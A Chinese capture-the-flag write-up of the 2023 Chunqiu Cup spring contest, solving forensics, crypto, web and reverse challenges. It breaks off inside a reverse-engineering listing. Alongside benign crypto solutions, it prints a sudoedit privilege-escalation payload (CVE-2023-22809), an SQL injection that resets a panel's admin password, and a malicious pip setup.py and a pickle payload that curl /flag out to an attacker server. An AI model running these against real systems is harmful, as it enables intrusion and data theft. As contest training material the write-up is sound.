2023年春秋杯网络安全联赛 春季赛

2023年春秋杯网络安全联赛春季赛,将更加深化人才培养的意义,给予新生代选手更大的舞台,本次比赛特将时长延长至7天,相对于以往的比赛,这是一次前所未有的尝试。同时,赛题难度分布更加合理均衡,题目质量依旧值得让人期待。题目设计涵盖了多个方面的安全技术,赛题考题范围包括Web 漏洞与渗透(Web),软件逆向 (Reverse Engineering),二进制漏洞挖掘和利用(PWN),密码学(crypto),与杂项(Misc)五大类型,且每个方向每天各放一道题目(第七天不放题)。同时我们还加入了彩蛋题目,希望各位参赛选手玩的开心,在比赛中可以有所收获,希望通过春秋杯能够让各位感受到比赛的乐趣以及春秋GAME的用心,欢迎各位师傅前来挑战。为使比赛更纯粹,更公平,更高质量,我们取消了奖金奖励,并配备了五大方向的高质量赛题。没有名利,更加公平,充分考察选手的综合能力。

Rank: 13


MISC

sudo

小楠楠是一个热爱技术的小姑娘,最近开始学习Linux系统中的sudo命令,希望能够更好地管理系统。然而,她并不知道在使用sudo时存在着潜在的网络安全隐患,这可能会给系统带来不必要的风险。因此,她决定进一步学习有关网络安全的知识,以更好地保护系统和数据的安全。小楠楠相信,只有不断学习和提高自己的技能,才能成为一名真正的技术专家。

ssh连接上,发现根目录下有flag,但需要root权限,根据题目描述应该为sudo提权,参考 【权限提升】Linux Sudo权限提升漏洞(CVE-2023-22809)

sudo -l 查看NOPASSWD特殊权限(对应 /etc/sudoer.d 文件):

1
2
3
4
5
Matching Defaults entries for xiaonannan on engine-1:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User xiaonannan may run the following commands on engine-1:
(ALL : ALL) NOPASSWD: sudoedit /etc/GAMELAB

/etc/GAMELAB 有特殊权限,而环境无vim有nano,尝试payload:

EDITOR="nano -- /flag" sudoedit /etc/GAMELAB

即可在nano编辑模式下得到flag。

piphack

可以安装任意包的接口,你会怎么利用呢?

给了一个可以安装任意包的接口,寻找到pip相关的提权方法:https://www.cnblogs.com/zlgxzswjy/p/10245977.html,参照着FakePip的方法制作 setup.py 并打包成whl文件放到vps上,但怎么试也没成功反弹shell。

尝试出用另一种git方法同样可以从库中拉取恶意脚本读取flag。

在vps上用python搭建服务器:python3 -m http.server 10010

制作恶意脚本:

1
2
3
import os
f = open('/flag', 'r').read()
os.system('curl http://vps-ip:10010?'+f)

放到gitee新建的仓库里,再安装任意包的输入出输入:git+https://gitee.com/lazzzaro/test.git

即可运行库里的 setup.py,在vps内可以看到外带的flag:

image-20230519191149050

wordle

做题累了,不如跟小楠楠一起来玩一个wordle游戏,边玩边学英文,一举两得。

(纯游戏,通关即拿flag)

wordle猜词游戏,6次内猜对一个5字母单词即可拿到flag。送分。

happy2forensics

小楠楠明明看到了flag,怎么打开文件却找不到呢?

查看流量包里http对象,导出 secret.rar,解压出 secret.vhdx,是一个bitlocker加密的磁盘。

根据官方提示捕获源端口为20,目的端口为80的TCP流量,可以获得bitlocker密码:

bitlocker 120483-350966-299189-055297-225478-133463-431684-359403

在回收站找到 flag2.zip 但需要密码。

将所有小图片拼接得到 password: 856a-a56b6a705653,解压 flag2.zip 得到 flag2:-919c-a140d7054ac5

一堆小图片中有一个不一样大小的图片 210-1.png,binwalk分解,分解出的jpg的APP1块里藏有另一个 FFD8 头,提取出新的jpg,得到 flag1:f97d5b05-d312-46ac

合并,flag:flag{f97d5b05-d312-46ac-919c-a140d7054ac5}

盲人隐藏了起来

12和34做对比,发现12相比34少了38个字节,对照补充字节打开12.mp4,得到压缩包密码:ChunJiSai7k7kbibi@!

解压 flag.zip 得到 flag.png,在尾部发现 keyischunqiu123,zsteg查看png图片的lsb,发现在 b1,bgr,lsb,xy 可以直接看到flag:

1
2
3
4
5
b1,bgr,lsb,xy       .. <wbStego size=84, ext="\x00fl", data="ag{2c8ba89"..., even=false>
00000000: 54 00 00 00 66 6c 61 67 7b 32 63 38 62 61 38 39 |T...flag{2c8ba89|
00000010: 37 2d 30 32 30 35 2d 39 62 66 66 2d 31 32 33 64 |7-0205-9bff-123d|
00000020: 2d 32 38 31 64 31 32 61 32 34 63 33 38 7d ff ff |-281d12a24c38}..|
00000030: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|

flag:flag{2c8ba897-0205-9bff-123d-281d12a24c38}

58与64

好多文件..得想办法把他们弄在一起

14268个txt文件,每个txt文件内保存的为base58结果,解码后再连接成字符串,多次base64解码即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
import base58

s = b''

for i in range(14268):
f = open(f'tmp/{i}.txt','r').readline().strip()
s += base58.b58decode(f)

for i in range(20):
s = base64.b64decode(s)

print(s)

# b'flag{640ce012-3d3a-446d-9d0e-5d2fe840063b}'

CRYPTO

checkin

来签到吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import *
from secret import flag, x, y

def keygen(nbit):
p, q = [getPrime(nbit) for _ in range(2)]
return (p, q)

p, q = keygen(1024)
n = p * q

t = len(flag)//2
part1 = bytes_to_long(flag[:t])
part2 = bytes_to_long(flag[t:])

D = 1117
x =
y =
assert x**2 - D * y**2 == 1

enc1 = pow(233 * n ** 2 + 1, part1, n ** 3)
enc2 = pow(y * n + 1, part2, n ** 3)

print(f'n = {n}')
print(f'enc1 = {enc1}')
print(f'enc2 = {enc2}')

'''
n = 14381700422128582509148801752355744589949207890477326887251636389639477554903212313766087310581920423926674144511237847467160303159477932732842314969782540035709454603184976310835433114879043016737665256729350745769071186849072915716081380191025215059636548339167264601163525017898164466972776553148697204889820118261937316228241099344357088387154112255824092894798716597134811437852876763391697588672779069166285303075312833415574850549277205130215394422655325352478386576833373623679069271857652029364332047485797407322257853316210866532938722911480593571175419708834718860211036796987231227104370259051299799633809
enc1 = 7213976567554002619445032200800186986758840297933991288547009708561953107405266725278346810536664670987171549114913443730366439254199110599202411546254632702440251000149674899033994570393935743323319736976929843596350656674709510612789987746895513057821629144725499933366382123251520676386059405796801097683107223771674383940907066300331503757142088898427893069444164604408189686282018392714450005250018004986102062209998463347007934222341910941474212611569508001910685822097788669516018081617394144015000387497289693096617795809933540456797387940627782045397249431573540932386564021712811633992948508497879189416719996092292320828635490820907122756459412206735413770335545012892724496210585503157766011075566023635046144730429791359690237088629187946232458937292767085665897489251315749496284368726255508362410603108788759785472319449267909859926786774679533591222665476101832482161295321411313525830843915966136814748249906589458905410141906965538387896747375546846618213595165688661941876715858338407833641907024891922856719044736945863722003318526031957256722493189062624177017279248142024760515092698242159769372410662895078523142768353100643884341413944795392762315999109544070401451087596138520908569234305384182336436670714204963907240715652950621301644972412252424876159530992
enc2 = 15954854445966181136742750543358176358186230663706091821454832527034640100670779737656720251005109942306013877086451482243141488450122353285697850016200364912263403464109626937525725210545566742746628476797261121321515812788726862118315480354196115424526212965145342675007815411995594752584377871686965531829990461770047418586001518916553661158567047779694730702789677326905844275827365395845945286695577426050334364557405151339008293258932006267159313380746863008928500607405457044370494583863960981060999695448408234857505591647503423149271589648863473472196402149897680041851877198062464480400493467334040101779732999029043327947071232256187123316057998759518569161852646625701393295408789279678540894319137126821001853808931387200759810381958895695749251834840804088478214013923869059004663359509316215974475427057000629842098545503905230785431115754636129549758888267877395566717448365986552725726428222769339088308242580851434964429627168365161743834285778996916154182286570122208454025753108647581888781783757375011437394936853319184725324597963035778640646869326035848170752766298225095197226934969602554875402243303906613183431896300664684256018886119255870435413622515792072064528098344111446380223430819596310173312668368618931885819458529703118195242890075359424013033800260927722161030183373647798407301688760998313223874318513944409702828538509864933624724225689414495687466779277994989628367119101
'''

PELL方程求解+二项式定理应用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
n = 14381700422128582509148801752355744589949207890477326887251636389639477554903212313766087310581920423926674144511237847467160303159477932732842314969782540035709454603184976310835433114879043016737665256729350745769071186849072915716081380191025215059636548339167264601163525017898164466972776553148697204889820118261937316228241099344357088387154112255824092894798716597134811437852876763391697588672779069166285303075312833415574850549277205130215394422655325352478386576833373623679069271857652029364332047485797407322257853316210866532938722911480593571175419708834718860211036796987231227104370259051299799633809
enc1 = 7213976567554002619445032200800186986758840297933991288547009708561953107405266725278346810536664670987171549114913443730366439254199110599202411546254632702440251000149674899033994570393935743323319736976929843596350656674709510612789987746895513057821629144725499933366382123251520676386059405796801097683107223771674383940907066300331503757142088898427893069444164604408189686282018392714450005250018004986102062209998463347007934222341910941474212611569508001910685822097788669516018081617394144015000387497289693096617795809933540456797387940627782045397249431573540932386564021712811633992948508497879189416719996092292320828635490820907122756459412206735413770335545012892724496210585503157766011075566023635046144730429791359690237088629187946232458937292767085665897489251315749496284368726255508362410603108788759785472319449267909859926786774679533591222665476101832482161295321411313525830843915966136814748249906589458905410141906965538387896747375546846618213595165688661941876715858338407833641907024891922856719044736945863722003318526031957256722493189062624177017279248142024760515092698242159769372410662895078523142768353100643884341413944795392762315999109544070401451087596138520908569234305384182336436670714204963907240715652950621301644972412252424876159530992
enc2 = 15954854445966181136742750543358176358186230663706091821454832527034640100670779737656720251005109942306013877086451482243141488450122353285697850016200364912263403464109626937525725210545566742746628476797261121321515812788726862118315480354196115424526212965145342675007815411995594752584377871686965531829990461770047418586001518916553661158567047779694730702789677326905844275827365395845945286695577426050334364557405151339008293258932006267159313380746863008928500607405457044370494583863960981060999695448408234857505591647503423149271589648863473472196402149897680041851877198062464480400493467334040101779732999029043327947071232256187123316057998759518569161852646625701393295408789279678540894319137126821001853808931387200759810381958895695749251834840804088478214013923869059004663359509316215974475427057000629842098545503905230785431115754636129549758888267877395566717448365986552725726428222769339088308242580851434964429627168365161743834285778996916154182286570122208454025753108647581888781783757375011437394936853319184725324597963035778640646869326035848170752766298225095197226934969602554875402243303906613183431896300664684256018886119255870435413622515792072064528098344111446380223430819596310173312668368618931885819458529703118195242890075359424013033800260927722161030183373647798407301688760998313223874318513944409702828538509864933624724225689414495687466779277994989628367119101

def solve_pell(N, numTry = 100):
cf = continued_fraction(sqrt(N))
for i in range(numTry):
denom = cf.denominator(i)
numer = cf.numerator(i)
if numer^2 - N * denom^2 == 1:
return numer, denom
return None, None

N = 1117
x, y = solve_pell(N)

flag1 = (enc1 - 1) // n**2 * inverse_mod(233, n) % n
flag2 = (enc2 % n**2 - 1) // n * inverse_mod(y, n) % n

print(bytes.fromhex(hex(flag1)[2:])+bytes.fromhex(hex(flag2)[2:]))

# b'flag{11e89e28-4e27-47f0-a7c7-8e66c18881be}'

backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from random import randint
from Crypto.Util.strxor import strxor
from Crypto.Cipher import AES
from hashlib import sha256
from hashlib import md5

flag = b'xxx'

def Get_Parameters():
w = getPrime(25)
a = getPrime(15)
b = getPrime(15)
x = getPrime(30)
return w,a,b,x

def Malicious_ECDH():
w,a,b,x = Get_Parameters()

P = getPrime(512)
A = getRandomNBitInteger(30)
B = getRandomNBitInteger(40)
F = GF(P)
E = EllipticCurve(F, [A, B])
G = E.random_point()
k1 = getRandomNBitInteger(50)
M1 = k1 * G

Y = x * G
t = randint(0,1)
t = 1
z = (k1 - w * t) * G + (-a*k1 - b) * Y
k2 = sha256(str(z[0]).encode()).digest()[:6]
k2 = bytes_to_long(k2)
M2 = k2 * G
k_rec = getRandomNBitInteger(50)
B_ = k_rec * G
shared_key1 = k_rec * M2
shared_key2 = k2 * B_
assert shared_key1 == shared_key2

print((w,a,b,x))
print((A,B,P))
print(G.xy())
print(M1.xy())
print(M2.xy())
print(B_.xy())
return shared_key1

def easy_enc(pt,key):
key = md5(str(int(key[0])).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
ct = cipher.encrypt(pad(pt,16))
print(ct)

key = Malicious_ECDH()
easy_enc(flag,key)

$z = (k_1 - wt) G + (-ak_1 - b)Y=k_1G-wtG+(-ak_1Y-bY)=M_1-wtG-axM_1-bxG$

又 $key2=k_2B$,求解得到共享key,解AES即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
w, a, b, x = (31889563, 31153, 28517, 763220531)
A, B, P = (1064988096, 802063264240, 12565302212045582769124388577074506881895777499095598016237085270545754804754108580101112266821575105979557524040668050927829331647411956215940656838233527)
G = (359297413048687497387015267480858122712978942384458634636826020013871463646849523577260820163767471924019580831592309960165276513810592046624940283279131, 9290586933629395882565073588501573863992359052743649536992808088692463307334265060644810911389976524008568647496608901222631270760608733724291675910247770)
M1 = (10930305358553250299911486296334290816447877698513318419802777123689138630792465404548228252534960885714060411282825155604339364568677765849414624286307139, 7974701243567912294657709972665114029771010872297725947444110914737157017082782484356147938296124777392629435915168481799494053881335678760116023075462921)
M2 = (497353451039150377961380023736260648366248764299414896780530627602565037872686230259859191906258041016214805015473019277626331812412272940029276101709693, 8439756863534455395772111050047162924667310322829095861192323688205133726655589045018003963413676473738236408975953021037765999542116607686218566948766462)
B = (5516900502352630982628557924432908395278078868116449817099410694627060720635892997830736032175084336697081211958825053352950153336574705799801251193930256, 10314456103976125214338213393161012551632498638755274752918126246399488480437083278584365543698685202192543021224052941574332651066234126608624976216302370)
enc = b'\x1a\xfb\xa2\xe1\x86\x04\xfak\x9a\xa3\xd15\xb8\x16\x1d\xbc\xa9S\xf5;\xfa\xf1\x08dn~\xd4\x94\xa4;^*\xf6\xd7\xf10\xa3\xe1k`\x1f-\xef\x80\x16\x80\x80\xe2'

E = EllipticCurve(GF(P), [A, B])
G, M1, M2, B = [E(_) for _ in [G, M1, M2, _B]]
t = 1
z = M1 - w*t* G - a*x*M1 - b*x*G
k2 = sha256(str(z[0]).encode()).digest()[:6]
k2 = bytes_to_long(k2)
key = k2 * _B

key = md5(str(int(key[0])).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(enc)
print(flag)

# flag{63259ab8-4916-4095-8888-d92c2b003e18}

magic_dlp

ez hyperelliptic curve problem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from base64 import b64encode
from secret import flag


p = random_prime(2 ^ 256)
sx = randint(1, p-1)
g = 3
PR.<x> = PolynomialRing(GF(p))
f = sum(randint(0, 2^128)*x**i for i in range(2*g + 1 + 1))
sy = f(sx).nth_root(2)
HC = HyperellipticCurve(f, 0)
J = HC.jacobian()(GF(p))
r = randint(0, 2^40)
D1 = randint(1, p-1)*J(HC((sx, sy)))
D2 = r*D1

key = sha256(str(r).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
ct = aes.encrypt(pad(flag, 16))
print(p)
print(D1)
print(D2)
print(b64encode(ct).decode())

"""
28250322002421485740011517298787354630342182411922678481506757706584776470549
(x^3 + 14837843646688223376620895623918856834301419791450189502644075689674679307565*x^2 + 11342007530582447297077768070260591643434731986676417772353996440271447424229*x + 17253160355772506039833501683117771635464243068672344160916188778934194482626, y + 11583638164648709615113883733024362701865856309079457013197399476805753481773*x^2 + 14799567073594539924214272546716232642453764116619810153125493046155930087914*x + 9020351128638199743425310619576234999021949822922952447017982687315971687269)
(x^3 + 24086141351204484270563731092873802082275121784385117167214060247819862896159*x^2 + 12580133579221229248448771717453263525988015199573816289207551576399335707433*x + 2025561351219044126154032254344655853662339878505961213456370741923912105725, y + 3024337373411188543472600372581043552807342888844351463589310783585361491167*x^2 + 22142729345652208596100988590287276835636512968984185855026844080502870977199*x + 24006419269594097580414614133924457311337109216133817568627246946606650903690)
IuhuwMMbrawsh63urhYqbaFHbXIhhHoiECUKqlg29b6ZxEg8QnD2Iy7QerX4kBj0
"""

超椭圆曲线下的DLP问题。

首先恢复 $f$,参考 https://furutsuki.hatenablog.com/entry/2023/02/13/231456#Crypto-300-hell 可用CRT得到 $f$,点数不足够使得不足以恢复正常的 $f$。

注意到 $p$ 为 256位,而 $f$ 的系数皆为 128位,可以用类似RLWE的方法LLL算出 $f$,最后,$r$ 不到 40位,可以用BSGS算法求解DLP问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256
from base64 import b64decode
from tqdm import tqdm

p = 28250322002421485740011517298787354630342182411922678481506757706584776470549
PR = GF(p)["x"]
x = PR.gen()
y = 0
D1 = (
x
^ 3
+ 14837843646688223376620895623918856834301419791450189502644075689674679307565 * x
^ 2
+ 11342007530582447297077768070260591643434731986676417772353996440271447424229 * x
+ 17253160355772506039833501683117771635464243068672344160916188778934194482626,
y
+ 11583638164648709615113883733024362701865856309079457013197399476805753481773 * x
^ 2
+ 14799567073594539924214272546716232642453764116619810153125493046155930087914 * x
+ 9020351128638199743425310619576234999021949822922952447017982687315971687269,
)
D2 = (
x
^ 3
+ 24086141351204484270563731092873802082275121784385117167214060247819862896159 * x
^ 2
+ 12580133579221229248448771717453263525988015199573816289207551576399335707433 * x
+ 2025561351219044126154032254344655853662339878505961213456370741923912105725,
y + 3024337373411188543472600372581043552807342888844351463589310783585361491167 * x
^ 2
+ 22142729345652208596100988590287276835636512968984185855026844080502870977199 * x
+ 24006419269594097580414614133924457311337109216133817568627246946606650903690,
)
ct = b64decode("IuhuwMMbrawsh63urhYqbaFHbXIhhHoiECUKqlg29b6ZxEg8QnD2Iy7QerX4kBj0")

rems = [D1[1] ^ 2, D2[1] ^ 2]
mods = [D1[0], D2[0]]
ff = crt(rems, mods)
L = prod(mods)
print(ff)

M = matrix(
ZZ,
[
vector(ff.padded_list(8)),
vector(L.padded_list(8)),
vector((L * x).padded_list(8)),
*list(matrix.identity(8) * p),
],
)
M = M.augment(vector([1] + [0] * (2 + 8)))
M[:, -1] *= 2**128
M = M.LLL()
M[:, -1] /= 2**128
target = next(row for row in M if row[-1] == 1 or row[-1] == -1)
if target[-1] == -1:
target = -target
f = PR(list(target[:-1]))
print(f)

HC = HyperellipticCurve(f, 0)
J = HC.jacobian()(GF(p))
D1 = J(D1)
D2 = J(D2)

# BSGS
# D2=(v+u*M)D1
# D2-vD1=u*M*D1
M = 2**20
lhs = {}
T = D2
for v in tqdm(range(M)):
lhs[T] = v
T = T - D1
MD1 = M * D1
T = 0 * MD1
for u in tqdm(range(M)):
if T in lhs:
v = lhs[T]
r = u * M + v
print(r)
break
T = T + MD1

key = sha256(str(r).encode()).digest()
aes = AES.new(key, AES.MODE_ECB)
pt = unpad(aes.decrypt(ct), 16)
print(pt)

# flag{72825d3f-74f0-0a0e-ba1c-895eee99dc29}

Cisticola

Let me tell you a story about polynomial.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Q = [...]

# -*- #!/usr/bin/env sage
# Problem by rec, with nothing.
import Q
import secret
import os
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

key = os.urandom(16)
cipher = AES.new(key=key, iv=bytes(range(16)), mode=AES.MODE_CBC)
enc = cipher.encrypt(pad(secret.flag, 16)).hex()
print(f"{enc = }")

p = 1439830214451992034013504859825496348425599138552815552028441481225682951310010651304957987750558339128649248859043607574873717185051113737355019502086518775325158336557488060325293103679742942484012852921804371007968007851081933599
R.<x> = PolynomialRing(GF(p))
Q = R(Q.Q)

t = 17
pos = random.sample(range(600), t) + [600]
poly = [int(os.urandom(16).hex(), 16) for _ in range(t)] + [int(key.hex(), 16)]
hint = 0
for i in range(t+1):
hint = (hint + poly[i]*x^pos[i]) % Q
print(f"{pos = }\n{hint = }")

多项式上的模运算,先用sage推导多项式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pos = [477, 491, 210, 515, 150, 142, 561, 5, 475, 329, 598, 274, 241, 310, 108, 483, 181, 600]
Q = [...]
p = 1439830214451992034013504859825496348425599138552815552028441481225682951310010651304957987750558339128649248859043607574873717185051113737355019502086518775325158336557488060325293103679742942484012852921804371007968007851081933599
R = PolynomialRing(GF(p), 'a', 19)
a = R.gens()
x = a[18]
#Q = R(Q)
Q = ...

poly = 0
for i in range(18):
poly = (poly + a[i]*x^pos[i]) % Q

print(poly)

得到429次多项式,将同次项的系数归类,形成A/B矩阵:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
f = eval(open(r'outA.txt').readlines()[0])
print(len(f))

d = []
for i in range(430):
d.append([])

for k in f:
x = k[0].strip()
d[k[1]].append(int(x.split('*')[0]) if x[0] != 'a' else 1)

print([len(k) for k in d])
# len=8: a0/1/3/6/8/10/15/17
# len=9: a0/1/3/6/8/10/15/17+another one

A = d[-8:][::-1]

f = eval(open(r'outB.txt').readlines()[0])

B = []
for k in f:
B.append(k[0])

g = open(r'out_final.txt','w')
print(f'A = {A}',file=g)
print(f'B = {B[:8]}',file=g)

发现大部分含8项的系数都与a0/a1/a3/a6/a8/a10/a15/a17变量有关,选取8组同次项与结果来做系数对比,求解矩阵方程:

1
2
3
4
5
6
7
8
9
10
p = 1439830214451992034013504859825496348425599138552815552028441481225682951310010651304957987750558339128649248859043607574873717185051113737355019502086518775325158336557488060325293103679742942484012852921804371007968007851081933599

A = []
B = []

A = matrix(Zmod(p), A)
B = vector(Zmod(p), B[:8])
A \ B

# (232766905492121523584723111736297361759, 328061273411433237903912759338260875197, 64156810189296343079030126884552967921, 145155918563801313155466268136086691055, 281912772467581204740174686468688405760, 127909413131477378514965968460479471790, 176132068091173488530894527009633409599, 275609957223526193497841020687316070508)

得到key=a17=275609957223526193497841020687316070508,解AES:

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *
from Crypto.Cipher import AES

enc = 'e086deeb9f060c014867c5adbd1ee1b449193b6e6177f58a36948282e1728f3b529b2def3c39f69c7a9001b4cac4d1d5'
key = long_to_bytes(275609957223526193497841020687316070508)
cipher = AES.new(key=key, iv=bytes(range(16)), mode=AES.MODE_CBC)
m = cipher.decrypt(bytes.fromhex(enc))
print(m)

# b'flag{182273bd-61f2-7147-acd8-d571de11bb40}\x06\x06\x06\x06\x06\x06'

ecdsa

Let me tell you a story about ecdsa.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os
import ecdsa
import hashlib
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor as xor
import secret

p = getPrime(256)
gen = lambda: p + getPrime(16)
pad = lambda m: m + os.urandom(32 - len(m) % 32)

key = os.urandom(30)
sk = ecdsa.SigningKey.from_secret_exponent(
secexp=bytes_to_long(key),
curve=ecdsa.SECP256k1
)
sig1 = sk.sign(data=b'This is the first message.', k=gen()).hex()
sig2 = sk.sign(data=b'Here is another message.', k=gen()).hex()
enc = xor(hashlib.sha512(key).digest(), pad(secret.flag)).hex()

print(f"{sig1 = }\n{sig2 = }\n{enc = }")
'''
sig1 = '3f4a6f288e35a4397201d246a98c1f9cfa463e67717fbbdcbd26d7fac75f875855455c2bfb355f7f593ffbe4c4bd1fc729cc129976b56905639100c8ac716b37'
sig2 = '9f563b21f0ee31b2f7a1a8c6edc8ff23b63e0a9d5dd4a699ecc3164871b4982df51bb2feb4bc06c578afd21d3e6227231dd5fe1d8440f3dcd025fd3ea68f5516'
enc = 'cc66d251bfa54954890c81dc1c607bae716573949f327db18aa1f4c0f420b8d29dc7e7ff9edb17b90306bd2aa753fc3fd4dafb9cc4b771cbdd79000ef05a40c0'
'''

选取标准曲线SECP256k1,且查看ecdsa包源码,sig=r_str+s_str

根据式子:

$s_1 \equiv k_1^{-1}(z_1+r_1d) \pmod n,s_2 \equiv k_2^{-1}(z_2+r_2d) \pmod n$

已知 $r_1,s_1,r_2,s_2,z_1,z_2$,且 $k_1-k_2=\Delta k$ 很小,联立用 $\Delta k$ 表示 $d$,再分别爆破 $\Delta k$ 值即可得到正确的 $d$。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from hashlib import sha1,sha512

p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

h1 = int(sha1(b'This is the first message.').hexdigest(), 16)
h2 = int(sha1(b'Here is another message.').hexdigest(), 16)
sig1 = '3f4a6f288e35a4397201d246a98c1f9cfa463e67717fbbdcbd26d7fac75f875855455c2bfb355f7f593ffbe4c4bd1fc729cc129976b56905639100c8ac716b37'
sig2 = '9f563b21f0ee31b2f7a1a8c6edc8ff23b63e0a9d5dd4a699ecc3164871b4982df51bb2feb4bc06c578afd21d3e6227231dd5fe1d8440f3dcd025fd3ea68f5516'
enc = 'cc66d251bfa54954890c81dc1c607bae716573949f327db18aa1f4c0f420b8d29dc7e7ff9edb17b90306bd2aa753fc3fd4dafb9cc4b771cbdd79000ef05a40c0'

def inv(x):
return inverse_mod(x,n)

r1 = int(sig1[:64], 16)
s1 = int(sig1[64:], 16)
r2 = int(sig2[:64], 16)
s2 = int(sig2[64:], 16)

for dk in range(-2^16, 2^16):
x = (dk-(inv(s2)*h2-inv(s1)*h1))*inv(inv(s2)*r2-inv(s1)*r1)%n
if x.nbits()<=30*8:
print(dk,x)
flag = int(sha512(bytes.fromhex(hex(x)[2:])).hexdigest(), 16) ^^ int(enc,16)
print(bytes.fromhex(hex(flag)[2:]))

# -12538 529916052714421365211802626556164022962456609322782019794355446252399179
# b'flag{2f64731e-785b-4259-4566-3d17554bfb7b}\xed\x98\x98\xbc\x92+\xc7\x7f\xe2_\xfd\x17\x1e\x9c\xf7\x17Rq\xfa3\xa2{'

WEB

phpstudy

NKCTF 2023 - xiaopi 原题,参考 https://blog.csdn.net/weixin_52365980/article/details/129803385。

在请求头加 X-Requested-With: XMLHttpRequest 可以进入后台登录界面,

再参考小皮面板前台sql注入更改管理员密码,构造payload:

admin';UPDATE ADMINS set PASSWORD = '202cb962ac59075b964b07152d234b70';--

接着用 admin/123 可进入后台,在计划任务界面直接RCE即可获取flag。

easypy

扫描得到目录 /download,访问下载 www.zip,里面真正的代码在 app.cpython-38.pyc,反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# Source Generated with Decompyle++
# File: app.cpython-38.pyc (Python 3.8)

import numpy
import base64
from flask import Flask, Response, request
app = Flask(__name__)

def index():
return '小p想要找一个女朋友,你能帮他找找看么?'

index = app.route('/', [
'GET',
'POST'], **('methods',))(index)

def girlfriends():
if request.values.get('data'):
data = request.values.get('data')
numpydata = base64.b64decode(data)
if b'R' in numpydata and b'bash' in numpydata or b'sh' in numpydata:
return '不能走捷径啊'
resp = None.loads(numpydata)
return '可以的,要的就是一种感觉'

girlfriends = app.route('/girlfriends', [
'GET',
'POST'], **('methods',))(girlfriends)

def download():
pass
# WARNING: Decompyle incomplete

download = app.route('/download', [
'GET',
'POST'], **('methods',))(download)
if __name__ == '__main__':
app.run('0.0.0.0', 80, **('host', 'port'))

观察到路由 /girlfriends?data=,需提供opcode来RCE,但不能包含 R 字符,参考文章,还可以使用 io 字符实现RCE,而禁用了 sh,不好实现反弹shell,用curl命令外带flag值到vps即可:

vps:python3 -m http.server 10010

payload:

1
2
3
4
b'''(S'curl http://120.25.104.209:10010?`base64 /flag`'
ios
system
.'''

对应base64:KFMnY3VybCBodHRwOi8vMTIwLjI1LjEwNC4yMDk6MTAwMTA/YGJhc2U2NCAvZmxhZ2AnCmlvcwpzeXN0ZW0KLg==

REVERSE

sum

数字游戏!

看反编译代码盲猜为数独游戏,对用户输入的数独矩阵进行求解,并输出解密后的flag在每一次循环中,读取玩家输入的数独矩阵并寻找空着的位置,接收到一个输入数字后,判断其是否合法,如果合法则填充进矩阵中,并对其求和。如果求解成功,则输出flag。

使用在线数独求解器,将填入数字连成字符串 468912723481342575971422657913948591537428763345261输入得到flag:flag{bbcbff5c1f1ded46c25d28119a85c6c2}

BWBA

一位85岁老大爷于今年考入大学的计算机科学与技术专业,在第一年的学习中学到了高等数学、离散数学、C++等,下面是大爷编写的一道程序,请破解大爷写的程序

encrypt() 加密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
__int64 __fastcall encrypt(__int64 a1, __int64 a2)
{
double *v2; // rax
double *v3; // rax
double v5; // [rsp+8h] [rbp-38h]
double v6; // [rsp+8h] [rbp-38h]
double v7; // [rsp+8h] [rbp-38h]
char v8; // [rsp+23h] [rbp-1Dh] BYREF
int v9; // [rsp+24h] [rbp-1Ch]
int j; // [rsp+28h] [rbp-18h]
int i; // [rsp+2Ch] [rbp-14h]

v9 = std::vector<int>::size(a2);
std::allocator<double>::allocator(&v8);
std::vector<double>::vector<int>(a1, v9, 0LL, &v8);
std::allocator<double>::~allocator(&v8);
for ( i = 0; i < v9; ++i )
{
for ( j = 0; j < v9; ++j )
{
v5 = *std::vector<int>::operator[](a2, j);
v6 = cos((j + 0.5) * (3.141592653589793 * i) / v9) * v5;
v2 = std::vector<double>::operator[](a1, i);
*v2 = *v2 + v6;
}
if ( i )
v7 = sqrt(2.0 / v9);
else
